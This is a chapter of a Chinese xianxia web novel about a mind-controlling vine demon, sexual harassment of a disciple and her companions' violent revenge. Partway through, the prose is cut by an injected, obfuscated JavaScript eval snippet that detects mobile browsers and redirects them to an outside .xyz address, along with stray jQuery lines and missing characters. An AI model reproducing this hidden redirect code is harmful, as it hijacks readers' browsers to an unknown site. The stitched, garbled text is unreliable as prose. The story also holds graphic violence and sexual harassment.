45. 缠心藤(五)

作品:《主角团就我一个剑修?!

    柳伏意面前,田大洪的五官越来越近,他的舌头简直就要舔到她的脸了。


    他嘴里难闻的烟草味冲进她鼻腔。


    柳伏意忍无可忍,嘴上再怎么谄媚附和,双手的动作倒是十分实在,强忍着不适一拳将他打晕过去。


    “叶锦,这回我可是替你挡了个劫啊!”她暗道。


    然而她一抬眉,就与不远处的小师弟对上一眼。那师弟不管三七二十一,连招呼都不跟她打,转身边跑边吼——


    “叶锦师姐收了田大洪的藤花!!”


    柳伏意猛然意识到这件事的严重性,又朝田大洪面门来上一拳,确保他一时半会儿醒不过来。随即抓紧离开这块是非地,一路狂奔着往栖山阁去。


    栖山阁后院中,阮长风顾元香玄易找到了一些现成的食材,看样子是老人家这几天准备吃的。荤菜嘛有猪肉,素菜的品类就多了,甚至还有回春派特有的芪霜草。


    三个人没下过厨房,顾元香就听沈听寒的安排,在一旁洗菜,玄易和阮长风负责生火。


    院中一切都浸润着家宅安宁的和谐,四人连日奔波的紧张感也慢慢被饭菜香味冲淡。


    直到……柳伏意满头大汗惊魂未定地从后厨门口摔进来。


    顾元香顾不上擦干手上的洗菜水,立刻双手拔双剑护在柳伏意背后:“咋的!?哪家不要命的来追杀了?!”


    沈听寒把柳伏意搀起来,替她拍了拍衣裙上的土:“你怎么了?谁能把你逼得像兔子一样落荒而逃啊?”


    玄易和阮长风也靠过来,眉头紧皱十分不解。


    柳伏意简单把刚才发生的事情和他们说了,于是肉眼可见的四人的表情更加不善了。


    “没事,已经过去了,这几天你就在我们眼皮子底下呆着,他敢来我们一定砍死他。”阮长风皮笑肉不笑,眼里的怒火几欲喷薄而出。


    爷爷的,这可是他们清云峰最亮眼最细心呵护的一朵小花!!


    “阿弥陀佛……这世上怎么会有这么贱的猪头男!癞蛤蟆光想吃天鹅肉痴心妄想!也不知道撒泡尿照照自己是什么德行!把姑娘当玩意儿呢这是!?死回春派贱德行不改!”玄易唾沫子横飞怎么骂都不解气,柳伏意的事情登时就让他想起在楼家受欺凌的那段时间。


    一帮人渣!!!


    死不足惜!!!


    顾元香气愤之余想起来个细节,特地软了软语气显得平和一些:“师姐,那朵造孽的藤花呢?”


    柳伏意想了想,她接了藤花之后就被田大洪的疯狂吸引了目光,回过神来那朵花就不见了。


    “不会掉在地上啊,我走的时候看那条路除了田大洪什么都没有。”


    话音刚落,陈青黛撩开后厨的门帘,和灰头土脸的几人打了个照面。


    她一句话没说,转身去侧厅坐下。


    几人面面相觑不明所以,沈听寒瞥了一眼油锅,道:“算了,上菜吧,她应该有事跟我们说。”


    五毒团上好菜,陈青黛坐在主位上一言不发,眼神却总是若有似无地往柳伏意脸上瞟。


    半刻过后,柳伏意终于忍不住了。她搁下碗筷,转身与陈青黛面对面:“陈道友,你有什么话就说吧。你再斜我几眼,我饭都吃不下去了。”


    陈青黛有些难以说出口,顶着几人愈加考究的目光,压低声音道:“你是不是接了田大洪的藤花?”


    “是啊,你是来替他跟我解释的?”


    陈青黛摇了摇头,竟然从她脸上看出些不好意思:“其实回春派一直都有一个传闻……有一株藤花蒙天地灵气日月之辉灌溉而成,白藤有灵,可变真心。只要摘下一朵藤花,送给心仪的女子,就能获得她的芳心。”


    柳伏意闻言一惯的冷面有些崩塌,内心已经无比崩溃:“你咋早不说?”


    阮长风不愧是听人说鬼话听多了的,他随手把筷子砸了出去,话里话外都透着再不容忍的狂怒:“这是美化公关版本吧?真实的那版是怎么说的?”


    陈青黛抿了抿唇,道:“呃……原本是给一些怎么追女神都追不到的家伙听个乐的,好像是从黄家流传出来的。说是舔狗舔到极致不如送朵藤花给对方,只要藤花一接触她的皮肤就会瞬间化成一股灵气融入骨血,从那以后接受藤花的人就会对送花人言听计从任他为所欲为……但这个说法从来就没有官方证实过啊!”


    柳伏意无奈道:“现在就有了,我可以证明他说的是真的。”


    沈听寒越听越觉得恼火,笑意早就被一抹化不开的阴郁取代。


    “所以这毒怎么解呢?”


    陈青黛不敢看他,只是把头低下去。


    顾元香沉默许久,终是弄明白了:“我觉得回春派的变故,陈家入魔,倪黎之死,和舔狗传说,都和一种妖有关。”


    她一本正经,解释说:“我在西域的一本杂谈里看到过,有一种藤名叫缠心藤。缠心藤以人心为食,但并非如狐妖剜心一般生食人心。是让藤丝进入人体在人心上生根逐步成长,回春派的天狗传说大概就是作为藤丝主人的男方把缠心藤放入女方体内,缠心藤蚕食女方的意志。所谓食人心,先是毁人心智。所以传说才会表现为,高岭之花对猪头男言听计从。”


    陈青黛蹙紧眉头,如果这一切都是这个叫缠心藤的妖物在捣鬼就麻烦了。


    回春派的白藤成千上万,就算弟子们一人排查十根都不见得能有什么成效。


    顾元香一个响指拉回他们的注意力:“而藤丝进入人体的时间越长,越会像它名字那样,圈圈缠绕住人心,根茎以人心为土,以心血为养料,直至整颗心都被缠心藤吸收完毕,成为种子血木藤。就像倪黎之死一样,血木藤渴望血气会再度发芽冲破死者的皮肉,一路生花。血木藤能否长成新的缠心藤,关键就在于有没有下一任宿主可供寄生。”


    几人几乎明白了缠心藤的原理,陈青黛又问出一个她最为关心的问题:“那我叔父们入魔是怎么回事?他们身上可没有藤花。”


    顾元香道:“他们没有接过别人给的藤花,也不意味着没有闻过或接触过。植物每个阶段每个部位的作用都不一样,你们整天拈花弄草应该很了解。缠心藤也会有花粉,此花气味宜人,清甜馥郁,闻起来根本不像是危险植物。但如果是长期接触,就会致幻。”


    她点了点桌子,提醒说:“而且我说的,尚且是没有化为妖灵的纯种植物。”


    言下之意,恰逢时契得以化为藤妖的,致幻的本事不容小觑。


    想到陈家六大长老莫名入魔,陈青黛背后已经汗湿一片。


    这害人的东西日日放在眼皮子底下,六大宗师竟然一点都没察觉。


    柳伏意见她眉头紧皱嘴唇发颤,扶住了她的手背:“陈青黛,回春派事实上就是由三大世家裂地自治,所以每个家族之中都有能力突出的长老。那为什么偏偏只有你们陈家的长老时时接触缠心藤,其他人就没事呢?”


    陈青黛抬眼,柳伏意已经没有方才那种惊惶的神色了。


    “你的意思是,陈家有内鬼?”


    玄易及时补刀:“要不是内鬼,怎么可能每天把有毒的藤花放进长老屋里还不引人注目啊。”


    “相信以你的本事,审出是谁做的局并不难。到时便可顺藤摸瓜,找出缠心藤所在了。”顾元香道。


    闻言,陈青黛连满桌子饭菜都没胃口吃了,拎着她的剑就气势汹汹地冲了出去。


    五人望着她的背影哑口无言,良久过后,阮长风才吐槽一句:“这风风火火的性子是遗传谁了……”


    算了,天大地大,吃饭最大。


    “还合胃口吗?”沈听寒见柳伏意叨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146365|178619||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一□□炒芪霜草,轻声问道。


    柳伏意无奈,她吃不下去的原因还在于田大洪给她的刺激。


    她撂下筷子,想起来件事:“等等,刚才忘记问陈青黛了。倪黎是中了藤花死的,那她也是因为缠心藤才和黄渊结为道侣的?黄渊这个人……”


    顾元香扒了几口饭,想起这个人浑身就不爽。


    眼看这个话题不怎么下饭,有阮长风和玄易俩嘴皮子利落的,他们随口扯了个话题,话匣子就藏不住似的,鼓劲说个没完。


    听了些笑料,柳伏意脑中刻骨铭心的冲撞也就慢慢淡忘了。


    她闻见面前菜肴的香味,食欲大开。


    看见她吃下去饭,四人的心都默默吞回了肚子里。


    酒足饭饱后,沈听寒起身收拾碗筷,他对顾元香道:“伏意一个人难免多想,你陪着她吧。我们几个男子不大方便,这边儿不用你收拾了。”


    阮长风从顾元香手上把筷子夺过来,一屁股把她顶向柳伏意的方向。


    顾元香心下了然,揽着柳伏意的肩膀将她带回屋子里,一勾脚关了房门。


    “师姐~你还有没有什么实用的剑术技巧可以教我呀?”


    “有倒是有……”


    三个大男人在侧厅叉腰互相望了一眼。


    “能忍?”阮长风问。


    “不能忍。”沈听寒沉着眸子。


    “走啊。”玄易撸起袈裟宽大的袖子,气势汹汹地跟着两位夺门而出。


    三人照旧是易了容的,光明正大地逮到人就问一句:“你知不知道田大洪在哪?”


    过路的弟子见这三人凑到一块儿去,心下忍不住地害怕。一个楼家人,一个黄家人,还有一个陈家的左膀右臂张通天,各个都不好招惹。


    “在……在……在前面凝晖堂。”


    凝晖堂这种地方沈听寒熟悉啊,养伤看病的地儿嘛。


    三人追过去,在凝晖堂里外翻了一遍,没见到田大洪。


    玄易正叹着气估摸着要无功而返了,倒是在凝晖堂后的茅房里发现了伤痕累累的田大洪。


    三人如三座大山一样杵在他面前。


    田大洪眼睛被打肿了,他都看不清面前这三个丧良心挡路的是谁。


    “死陈观澜!!你们陈家都寥落了!你竟然还敢揍我!”他愤愤不平,扶着墙站起身来抖了抖土,“哼,喜欢叶锦是吧!?看我不玩死她!”


    话音甫落,沈听寒阴沉着脸,二话不说上去就是一拳。


    “?!”


    玄易阮长风从来没见过他出手这么迅速,同样不甘落后相继落拳,阮长风甚至还自报家门。


    “老子黄渊,打你有意见!?”


    “唉唉唉干什么啊我又没得罪你们!!”


    田大洪也是见了鬼了,一天被人打了四顿。而且顿顿下死手拳拳到肉,痛的他叫都叫不出声来。


    阮长风倒是抽空看的很清楚,沈听寒不愧是在医修一道最有建树的,专往人最痛的穴位怼。


    他那伤筋断骨手四处一拧一抽,田大洪下半身直接瘫痪了。


    “管不住下半身我帮你,不用谢我。”


    沈听寒本来都抬步准备要走了,又听见田大洪喉间呜呜咽咽出来几个不怎么中听的词儿。


    哪怕被打的没人样儿了,嘴里还在意淫辱骂叶锦。


    要多下三滥有多下三滥。


    沈听寒难以想象,那些毫无遮掩、直白又下作的荤话,田大洪都当着柳伏意的面说出来。


    甚至还逼她接受。


    阮长风和玄易互望一眼,知道这哥们儿的嘴也是凶多吉少了,默默退后一步,留给沈听寒足够的发挥空间。


    沈听寒冷哼一声,上手在他颌间一拧,“咔叱”——田大洪自己就把那条舌头给咬断了。